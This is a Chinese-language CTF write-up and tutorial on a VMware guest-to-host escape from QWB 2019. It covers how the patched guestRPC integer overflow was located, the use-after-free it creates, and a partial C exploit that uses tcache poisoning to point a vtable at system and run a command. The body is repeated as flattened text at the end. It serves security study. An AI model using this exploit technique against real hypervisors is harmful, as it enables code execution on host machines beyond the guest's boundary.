虚拟机逃逸(二)
字数 2060 2025-08-06 21:48:48

虚拟机逃逸漏洞分析与利用教学文档

0x00 前言

本教学文档基于强网杯2019虚拟机逃逸题目,详细分析VMware虚拟机逃逸漏洞的发现、利用和调试过程。文档将涵盖以下关键内容:

  1. 虚拟机逃逸的基本概念和背景
  2. 漏洞定位和分析方法
  3. 漏洞利用技术细节
  4. 完整的漏洞利用开发过程
  5. 调试技巧和注意事项

0x01 漏洞分析

1.1 漏洞定位技术

Bindiff分析

  • 使用Bindiff比较原始vmx文件和补丁后的vmx文件
  • 关键修改点:
    1. 将r12d改为r12w(省略r12高位)
    2. 跳转条件改为大于等于
    3. 取消条件检查,改为无条件跳转

010 Editor分析

  • 作为Bindiff的替代方案,可以更快定位差异
  • 发现三处关键修改点

1.2 漏洞位置

漏洞位于guestRPC处理函数中,具体在Send_RPC_command_length函数内:

if ( v56 > v21 )
{
    new_size = LOWORD(v56 + 1);  // 漏洞点:整数溢出
    ptr = realloc(ptr, new_size); // 当v56=0xffff时,new_size=0
    msg_struct->field_38 = new_size;
}

1.3 漏洞原理

整数溢出漏洞

  1. 使用LOWORD修饰导致高位丢失
  2. 当设置v56=0xffff时:
    • 通过大小检查(0xffff < 0x10000)
    • LOWORD(0xffff + 1) = LOWORD(0x10000) = 0
    • realloc第二个参数为0,等同于free
  3. 结果:ptr被释放但未置空,导致UAF(Use After Free)

1.4 RPC处理流程分析

Open_RPC_channel

  • 打开信道
  • 接收数据包并获取magicnum
  • magicnum验证失败则退出

Send_RPC_command_length

  1. 检查byte_FE9584(魔数)
  2. 检查长度(-1或>0x10000则报错)
  3. 比较56和21偏移处的值
    • v56:接收到的数据包长度
    • v21:现有长度
  4. 如果数据长度>现有长度,则realloc重新分配
  5. 设置新大小并修改msg_struct

Send_RPC_command_data

  • 读取需要发送的data指令
  • 读取RPCI结构体
  • 根据设置的长度发送msg(每次最多4字节)
  • 发送完成后进入指令处理
  • 设置flag标志为1

Recieve_RPC_reply_length

  • guest获取返回的长度

Recieve_RPC_reply_data

  • 执行指令后返回数据
  • 一次接收4字节
  • 数据转移到缓冲区
  • 设置flag为发送完毕

Finish_receiving_RPC_reply & Close_RPC_channel

  • 前者处理接收完成
  • 后者关闭channel
  • 设置flag为1

0x02 漏洞利用

2.1 利用思路

  1. 利用UAF泄露地址
  2. 劫持虚表指针
  3. 通过tcache poisoning实现任意地址写
  4. 最终执行系统命令

2.2 利用步骤

  1. 开启两个channel

    • channel A设置buffer为0x100
    • channel B使用info-get也设置为0x100
  2. 触发漏洞

    • 通过channel A的set_len触发漏洞
    • channel B获取这个buffer
    • channel A再次触发漏洞
    • 此时channel B的buffer已在tcache中
  3. 泄露地址

    • 调用dnd_vison函数写入虚表
    • 通过UAF泄露虚表地址
  4. 劫持控制流

    • 使用tcache劫持技术
    • 修改虚表指针为system地址
    • 传入要执行的命令

2.3 完整利用代码分析

// 关键函数定义
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res);
void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res);
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res);
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res);
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res);
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res);
void channel_close(int cookie1, int cookie2, int channel_num, int *res);

// 泄露函数
void leak() {
    // 1. 初始化数据
    run_cmd("info-set guestinfo.a AAAA..."); // 设置消息长度为0x100
    run_cmd("tools.capability.dnd_version 4");
    
    // 2. 打开channel并设置长度
    channel_open(&chan[0].cookie1, &chan[0].cookie2, &chan[0].num, &res);
    channel_set_len(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0x100, &res);
    
    // 3. 发送数据
    channel_send_data(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0x100, "info-get guestinfo.a", &res);
    
    // 4. 释放buffer
    channel_set_len(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0xffff, &res);
    
    // 5. 重新分配并泄露
    // ...省略部分代码...
    
    // 6. 获取泄露的地址
    text = (*(uint64_t *)data) - 0xf818d0;
}

// 利用函数
void exploit() {
    // 1. 准备payload
    uint64_t pay1 = text + 0xFE95B8; 
    uint64_t pay2 = text + 0xECFE0; // system
    uint64_t pay3 = text + 0xFE95C8;
    char *pay4 = "gnome-calculator\x00";
    
    // 2. 打开多个channel
    channel_open(&chan[0].cookie1, &chan[0].cookie2, &chan[0].num, &res);
    // ...省略部分代码...
    
    // 3. 触发UAF
    channel_set_len(chan[0].cookie1, chan[0].cookie2, chan[0].num, 0xffff, &res);
    
    // 4. 劫持tcache
    channel_send_data(chan[1].cookie1, chan[1].cookie2, chan[1].num, 8, &pay1, &res);
    
    // 5. 分配目标地址
    channel_set_len(chan[2].cookie1, chan[2].cookie2, chan[2].num, strlen(s3), &res);
    
    // 6. 写入system地址和参数
    channel_send_data(chan[3].cookie1, chan[3].cookie2, chan[3].num, 8, &pay2, &res);
    channel_send_data(chan[3].cookie1, chan[3].cookie2, chan[3].num, 8, &pay3, &res);
    channel_send_data(chan[3].cookie1, chan[3].cookie2, chan[3].num, strlen(pay4)+1, pay4, &res);
    
    // 7. 触发命令执行
    run_cmd("gnome-calculator");
}

0x03 调试技巧

  1. 关键断点设置

    • 放在realloc位置,观察堆布局变化
    • 检查目标chunk地址(如0x7f797803a890)
  2. 堆状态观察

    • 第一次free后,chunk应被挂入tcache
    • 第二次free后,再次检查tcache状态
    • 写入虚表后,检查内存变化
  3. 常见问题解决

    • GDB调试时基址不对:先发送payload再attach
    • 虚拟机权限问题:使用sudo vmware
    • 命令执行失败:检查虚拟化设置
  4. 调试过程

    • 观察realloc后的堆布局
    • 确认chunk是否被正确释放和重新分配
    • 验证地址泄露是否正确
    • 检查tcache poisoning是否成功

0x04 总结与思考

  1. 逆向分析要点

    • 需要扎实的逆向基础
    • 熟悉目标虚拟机内部结构
    • 能够快速定位关键修改点
  2. CTF与真实漏洞的区别

    • CTF更注重利用技巧
    • 真实漏洞需要更全面的逆向分析能力
    • 实际环境中有更多限制和防护
  3. 学习收获

    • 深入理解虚拟机内部机制
    • 掌握realloc的edge case
    • 熟练应用tcache poisoning技术
    • 提升复杂环境下的调试能力
  4. 扩展思考

    • 如何防御此类漏洞?
    • 其他虚拟机(如VirtualBox、QEMU)是否存在类似问题?
    • 现代防护机制(如ASLR、CFI)如何影响这类漏洞利用?

本教学文档详细分析了虚拟机逃逸漏洞的发现、分析和利用全过程,重点讲解了整数溢出导致的UAF漏洞及其利用方法,通过tcache poisoning实现任意代码执行。文档包含了从基础理论到实际利用的完整知识链,适合中高级安全研究人员学习参考。

虚拟机逃逸漏洞分析与利用教学文档 0x00 前言 本教学文档基于强网杯2019虚拟机逃逸题目,详细分析VMware虚拟机逃逸漏洞的发现、利用和调试过程。文档将涵盖以下关键内容: 虚拟机逃逸的基本概念和背景 漏洞定位和分析方法 漏洞利用技术细节 完整的漏洞利用开发过程 调试技巧和注意事项 0x01 漏洞分析 1.1 漏洞定位技术 Bindiff分析 : 使用Bindiff比较原始vmx文件和补丁后的vmx文件 关键修改点: 将r12d改为r12w(省略r12高位) 跳转条件改为大于等于 取消条件检查,改为无条件跳转 010 Editor分析 : 作为Bindiff的替代方案,可以更快定位差异 发现三处关键修改点 1.2 漏洞位置 漏洞位于guestRPC处理函数中,具体在 Send_RPC_command_length 函数内: 1.3 漏洞原理 整数溢出漏洞 : 使用 LOWORD 修饰导致高位丢失 当设置v56=0xffff时: 通过大小检查(0xffff < 0x10000) LOWORD(0xffff + 1) = LOWORD(0x10000) = 0 realloc第二个参数为0,等同于free 结果:ptr被释放但未置空,导致UAF(Use After Free) 1.4 RPC处理流程分析 Open_ RPC_ channel 打开信道 接收数据包并获取magicnum magicnum验证失败则退出 Send_ RPC_ command_ length 检查byte_ FE9584(魔数) 检查长度(-1或>0x10000则报错) 比较56和21偏移处的值 v56:接收到的数据包长度 v21:现有长度 如果数据长度>现有长度,则realloc重新分配 设置新大小并修改msg_ struct Send_ RPC_ command_ data 读取需要发送的data指令 读取RPCI结构体 根据设置的长度发送msg(每次最多4字节) 发送完成后进入指令处理 设置flag标志为1 Recieve_ RPC_ reply_ length guest获取返回的长度 Recieve_ RPC_ reply_ data 执行指令后返回数据 一次接收4字节 数据转移到缓冲区 设置flag为发送完毕 Finish_ receiving_ RPC_ reply & Close_ RPC_ channel 前者处理接收完成 后者关闭channel 设置flag为1 0x02 漏洞利用 2.1 利用思路 利用UAF泄露地址 劫持虚表指针 通过tcache poisoning实现任意地址写 最终执行系统命令 2.2 利用步骤 开启两个channel : channel A设置buffer为0x100 channel B使用info-get也设置为0x100 触发漏洞 : 通过channel A的set_ len触发漏洞 channel B获取这个buffer channel A再次触发漏洞 此时channel B的buffer已在tcache中 泄露地址 : 调用dnd_ vison函数写入虚表 通过UAF泄露虚表地址 劫持控制流 : 使用tcache劫持技术 修改虚表指针为system地址 传入要执行的命令 2.3 完整利用代码分析 0x03 调试技巧 关键断点设置 : 放在realloc位置,观察堆布局变化 检查目标chunk地址(如0x7f797803a890) 堆状态观察 : 第一次free后,chunk应被挂入tcache 第二次free后,再次检查tcache状态 写入虚表后,检查内存变化 常见问题解决 : GDB调试时基址不对:先发送payload再attach 虚拟机权限问题:使用sudo vmware 命令执行失败:检查虚拟化设置 调试过程 : 观察realloc后的堆布局 确认chunk是否被正确释放和重新分配 验证地址泄露是否正确 检查tcache poisoning是否成功 0x04 总结与思考 逆向分析要点 : 需要扎实的逆向基础 熟悉目标虚拟机内部结构 能够快速定位关键修改点 CTF与真实漏洞的区别 : CTF更注重利用技巧 真实漏洞需要更全面的逆向分析能力 实际环境中有更多限制和防护 学习收获 : 深入理解虚拟机内部机制 掌握realloc的edge case 熟练应用tcache poisoning技术 提升复杂环境下的调试能力 扩展思考 : 如何防御此类漏洞? 其他虚拟机(如VirtualBox、QEMU)是否存在类似问题? 现代防护机制(如ASLR、CFI)如何影响这类漏洞利用? 本教学文档详细分析了虚拟机逃逸漏洞的发现、分析和利用全过程,重点讲解了整数溢出导致的UAF漏洞及其利用方法,通过tcache poisoning实现任意代码执行。文档包含了从基础理论到实际利用的完整知识链,适合中高级安全研究人员学习参考。